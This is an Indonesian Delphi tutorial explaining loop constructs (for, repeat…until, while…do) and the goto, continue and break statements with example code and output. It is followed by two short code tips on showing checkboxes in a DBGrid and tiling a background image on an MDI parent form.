Dalam bahasa pemrograman apapun pasti dikenal suatu mekanisme looping atau perulangan. Looping disini sangat berguna sekali untuk mengontrol jalannya program, terutama jika ada aktivitas yang berulang-ulang dan bahkan ada suatu kondisi tertentu di dalam looping tersebut. Nah, kali ini kita akan bahas mengenai mekanisme looping apa saja yang terdapat dalam Borland Delphi.

Dalam penulisan program Delphi ada kalanya tidak membutuhkan program yang terlalu panjang ketika hanya terdiri dari pengulangan dari program yang sebelumnya. Proses pengulangan suatu proses dalam batas tertentu tersebut dapat ditulis secara singkat dengan menggunakan looping. Jenis-jenis dari looping dapat dibagi sebagai berikut:

1. for…to..do dan for…downto…do
2. repeat…until
3. while…do

Untuk lebih jelasnya akan dibahas masing – masing dari proses looping tersebut beserta contoh sederhana yang akan memudahkan dalam pengaplikasiannya.

1. for…to…do dan for…down…to
Perulangan for dibagi lagi menjadi 2 jenis yaitu:

a. for…to…do
b. for…downto…do

Keduanya mempunyai fungsi yang sama dengan sintaks program seperti berikut ini.

for variable := nilai_awal to nilai_akhir do pernyataan

for variable := nilai_awal downto nilai_akhir do pernyataan

Looping for bisa digunakan untuk beberapa jenis proses pengulangan yaitu jenis pengulangan integer, pengulangan character dan pengulangan enumeration.

Contoh program:

– Pengulangan pada jenis variabel integer

var
i : integer;
begin
for i:= 1 to 5 do
showmessage (‘nilai i =’ + inttostr(i));
end;

ketika di-run:

nilai i = 1
nilai i = 2
nilai i = 3
nilai i = 4
nilai i = 5

– Pengulangan pada jenis variable character

var
i : char;
begin
for i:= ‘a’ to ‘e’ do
showmessage(‘nilai i =’ + i);
end;

ketika di-run:

nilai i = a
nilai i = b
nilai i = c
nilai i = d
nilai i = e

– Pengulangan pada jenis variable enumeration

var
kota: (surabaya,jakarta,bandung,jogja,sidoarjo);
begin
for kota:= bandung to sidoarjo do
showmessage(‘kota i =’ + inttostr(ord(kota)));
end;

ketika di-run:

kota i = 2
kota i = 3
kota i = 4

Pada enumeration akan diberikan nomor urut (ordinal type) pada masing – masing isi dari kota saat pendeklarasiannya pada bagian var. Nomor urut dimulai dari 0 sampai 4. Nomor urut surabaya adalah 0,nomor urut dari jakarta adalah 1 dan seterusnya. Karena looping dimulai dari bandung yang bernomor urut 2 maka ketika dirun yang pertama kali muncul adalah kota i = 2.

Untuk jenis looping for… downto…do hampir sama hanya saja pengulangan dilakukan secara hitungan turun.

Contoh program:

var
i : char;
begin
for i:= ‘f’ downto ‘c’ do
showmessage(‘nilai i =’ + i);
end;

ketika di-run:

nilai i = f
nilai i = e
nilai i = d
nilai i = c

2. repeat…until
Jenis looping ini digunakan untuk looping dengan sampai dengan batas yang ditentukan setelah pernyataan until. Sintaks dari jenis looping ini dapat dilihat seperti dibawah ini:

repeat pernyataan until syarat

Contoh program:

var
i,a : integer;
begin
i:=1;
repeat
a:=i*5;
showmessage(‘nilai ‘+ inttostr(i)+’ * 5 = ‘+inttostr(a));
inc(i); // inc(i)===> i=i+1
until i > 5;
end;

ketika di-run:

nilai 1 * 5 =5
nilai 2 * 5 =10
nilai 3 * 5 =15
nilai 4 * 5 =20
nilai 5 * 5 =25

Pada jenis looping repeat, nilai i diberi nilai awal dahulu sebelum masuk ke looping. Untuk menaikkan nilai i diperlukan pernyataan tambahan inc(i) atau i = i + 1, tidak seperti dalam looping jenis for yang tidak membutuhkan pernyataan untuk menaikkan nilai i.

3. while…do
Jenis looping ini hampir sama dengan jenis looping repeat…until. Beda dari kedua jenis looping ini adalah jika pada looping repeat…until dilakukan proses dahulu baru dilihat syarat mengakhiri looping masih memenuhi atau tidak. Jika memenuhi maka proses looping akan berhenti tapi kalau tidak maka looping akan terus berjalan sedangkan pada jenis looping while…do syarat melakukan looping diajukan terlebih dahulu jika memenuhi maka proses akan dilakukan tapi jika tidak maka looping tidak dilakukan.

Sintaks dari jenis looping ini adalah sebagai berikut:

while syarat do pernyataan

Contoh program:

var
i,a : integer;
begin
i:=1;
while i<6 do
begin
a:=i*i;
showmessage(‘nilai kuadrat dari ‘+ inttostr(i)+’ adalah ‘ + inttostr(a));
inc(i); // inc(i)===> i=i+1
end;
end;

ketika di-run:

nilai kuadrat dari 1 adalah 1
nilai kuadrat dari 2 adalah 4
nilai kuadrat dari 3 adalah 9
nilai kuadrat dari 4 adalah 16
nilai kuadrat dari 5 adalah 25

Menghentikan proses looping

Ketika proses looping masih dilakukan kadang kala kita perlu untuk keluar dari looping berdasarkan suatu kondisi tertentu, untuk itu ada 3 cara untuk menghentikan proses looping tersebut yaitu dengan menggunakan:

1. goto
Biasanya penghentian looping dengan menggunakan sintak ini jarang digunakan. Penghentian looping dilakukan dengan pernyataan if. Jika syarat if terpenuhi maka looping berhenti dengan melompat ke label yang dibuat secara terpisah dengan program proses looping.

Contoh program:

var
i,a : integer;

label
berhenti;

begin
i:=1;
for i:=1 to 17 do
begin
a:=i*i;
showmessage (‘nilai kuadrat dari ‘+ inttostr(i)+’ adalah ‘ + inttostr(a));
if a>15 then goto berhenti;
end;

berhenti:
showmessage(‘loop berhenti saat i = ‘+inttostr(i)+’ dan kuadratnya adalah ‘+inttostr(a));
end;

ketika di-run:

nilai kuadrat dari 1 adalah 1
nilai kuadrat dari 2 adalah 4
nilai kuadrat dari 3 adalah 9
nilai kuadrat dari 4 adalah 16
loop berhenti saat i = 4 dan kuadratnya adalah 16

Pada proses tersebut looping tidak dilakukan sampai i ke-17 seperti perintah looping for…to…do, tetapi hanya hingga nilai a lebih dari 15 untuk pertama kalinya. Looping berhenti dan program melompat pada pernyataan dalam label.

2. continue
Penghentian loop ini digunakan dengan menggunakan pernyataan if . Jika pernyataan if dipenuhi maka looping tidak akan mengambil nilai tersebut tetapi meneruskan loop berikutnya.

Contoh program:

var
i : integer;
a : string;
begin
for i:=5 to 10 do
begin
if (i=6) or (i=9) then continue;
a:=a+’ ‘ +inttostr(i);
showmessage(‘a =’ + a);
end;
end;

ketika di-run:

a = 5
a = 5 7
a = 5 7 8
a = 5 7 8 10

Pada saat i = 6 maka looping tidak dilakukan, looping dilakukan kembali untuk nilai i = 7. Begitu pula pada saat i = 9.

3. break
Pernyataan ini digunakan untuk keluar dari proses looping, tanpa masuk ke pernyataan lain seperti pada goto dan juga tanpa meneruskan looping dengan menggunakan nilai selanjutnya seperti pada continue.

Contoh program:

var
i : integer;
begin
for i:=1 to 12 do
begin
if i=6 then
break;
showmessage(‘nilai i =’ + inttostr(i));
end;
end;

ketika di-run:

nilai i = 1
nilai i = 2
nilai i = 3
nilai i = 4
nilai i = 5

Looping dilakukan hanya sampai nilai i = 5. Ketika nilai i = 6 perintah break menghentikan looping.

Menampilkan CheckBox di DBGrid

type
TForm1 = class(TForm)
DBGrid1: TDBGrid;
procedure DBGrid1DrawColumnCell(Sender: TObject; const Rect: TRect;
DataCol: Integer; Column: TColumn; State: TGridDrawState);
procedure DBGrid1CellClick(Column: TColumn);
procedure DBGrid1ColEnter(Sender: TObject);
procedure DBGrid1ColExit(Sender: TObject);
procedure SaveBoolean;
private
{ Private declarations }
FOriginalOptions : TDBGridOptions;
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.SaveBoolean;
begin
DBGrid1.SelectedField.Dataset.Edit;
DBGrid1.SelectedField.AsBoolean := not Self.DBGrid1.SelectedField.AsBoolean;
end;
procedure TForm1.DBGrid1DrawColumnCell(Sender: TObject; const Rect: TRect;
DataCol: Integer; Column: TColumn; State: TGridDrawState);
Const
CtrlState : array[Boolean] of Integer = (DFCS_BUTTONCHECK,
DFCS_BUTTONCHECK or DFCS_CHECKED);
var
CheckBoxRectangle : TRect;
begin
if Column.Field.DataType = ftBoolean then
begin
DBGrid1.Canvas.FillRect(Rect);
CheckBoxRectangle.Left := Rect.Left + 2;
CheckBoxRectangle.Right := Rect.Right – 2;
CheckBoxRectangle.Top := Rect.Top + 2;
CheckBoxRectangle.Bottom := Rect.Bottom – 2;
DrawFrameControl(DBGrid1.Canvas.Handle,
CheckBoxRectangle,
DFC_BUTTON,
CtrlState[Column.Field.AsBoolean]);
end;
end;
procedure TForm1.DBGrid1ColEnter(Sender: TObject);
begin
if DBGrid1.SelectedField.DataType = ftBoolean then
begin
Self.FOriginalOptions := DBGrid1.Options;
DBGrid1.Options := DBGrid1.Options – [dgEditing];
end;
end;

procedure TForm1.DBGrid1ColExit(Sender: TObject);
begin
if DBGrid1.SelectedField.DataType = ftBoolean then
DBGrid1.Options := Self.FOriginalOptions;
end;

procedure TForm1.DBGrid1CellClick(Column: TColumn);
begin
if DBGrid1.SelectedField.DataType = ftBoolean then
SaveBoolean();
end;

Merubah backgroung pada Form MDI Parent

Caranya yaitu dengan menggunakan intersepsi dari messages WM_ERASEBKGND, WM_VSCROLL dan
WM_HSCROLL dan dibawa pada penggambaran area oleh prosedur DrawImage atau procedure InValidateRect.
Pada procedure CreateWnd digunakan prosedur SetWindowLong untuk instalasi prosedur baru pada window.
Jangan lupa untuk menghilangkan baris :

Application.CreateForm(TForm2, Form2)

dari file proyek dan baris :

var Form2: TForm2

dari file unit2.pas

type
TForm1 = class(TForm)
//  …
private
{ Private declarations }
public
procedure ClientWndProc(var Message: TMessage);
procedure DrawImage;
{ Public declarations }
protected
procedure CreateWnd; override;
end;

var
Form1: TForm1;
NewClient, OldClient: TFarProc;
MyDC: hDC;

implementation

uses unit2;

{$R *.DFM}

procedure TForm1.CreateWnd;
begin
inherited CreateWnd;
NewClient:=MakeObjectInstance(ClientWndProc);
OldClient:=Pointer(GetWindowLong(ClientHandle, GWL_WNDPROC));
SetWindowLong(ClientHandle, GWL_WNDPROC, LongInt(NewClient));
end;

procedure TForm1.DrawImage;
{ Membuat tile image pada daerah form client }
var
i, j: Integer;
WndRect, ImageRect: TRect;
Rows, Cols: Integer;
begin
GetWindowRect(ClientHandle, WndRect);
ImageRect:=Image1.ClientRect;
Rows:=WndRect.Bottom div ImageRect.Bottom;
Cols:=WndRect.Right div ImageRect.Right;
with Image1 do
for i:=0 to Rows+1 do
for j:=0 to Cols+1  do
BitBlt(MyDC,j*Picture.Width,i*Picture.Height,Picture.Width,
Picture.Height,Picture.Bitmap.Canvas.Handle,0,0,SRCCOPY);
end;

procedure TForm1.ClientWndProc(var Message: TMessage);
begin
case Message.Msg of
WM_ERASEBKGND:
begin
CallWindowProc(
OldClient,
ClientHandle,
Message.Msg,
Message.wParam,
Message.lParam);
MyDC:=TWMEraseBkGnd(Message).DC;
DrawImage;
Message.Result:=1;
end;
WM_VSCROLL,WM_HSCROLL:
begin
Message.Result:=
CallWindowProc(
OldClient,
ClientHandle,
Message.Msg,
Message.wParam,
Message.lParam);
InvalidateRect(ClientHandle,nil,True);
end;
else
Message.Result:=
CallWindowProc(
OldClient,
ClientHandle,
Message.Msg,
Message.wParam,
Message.lParam);
end;
end;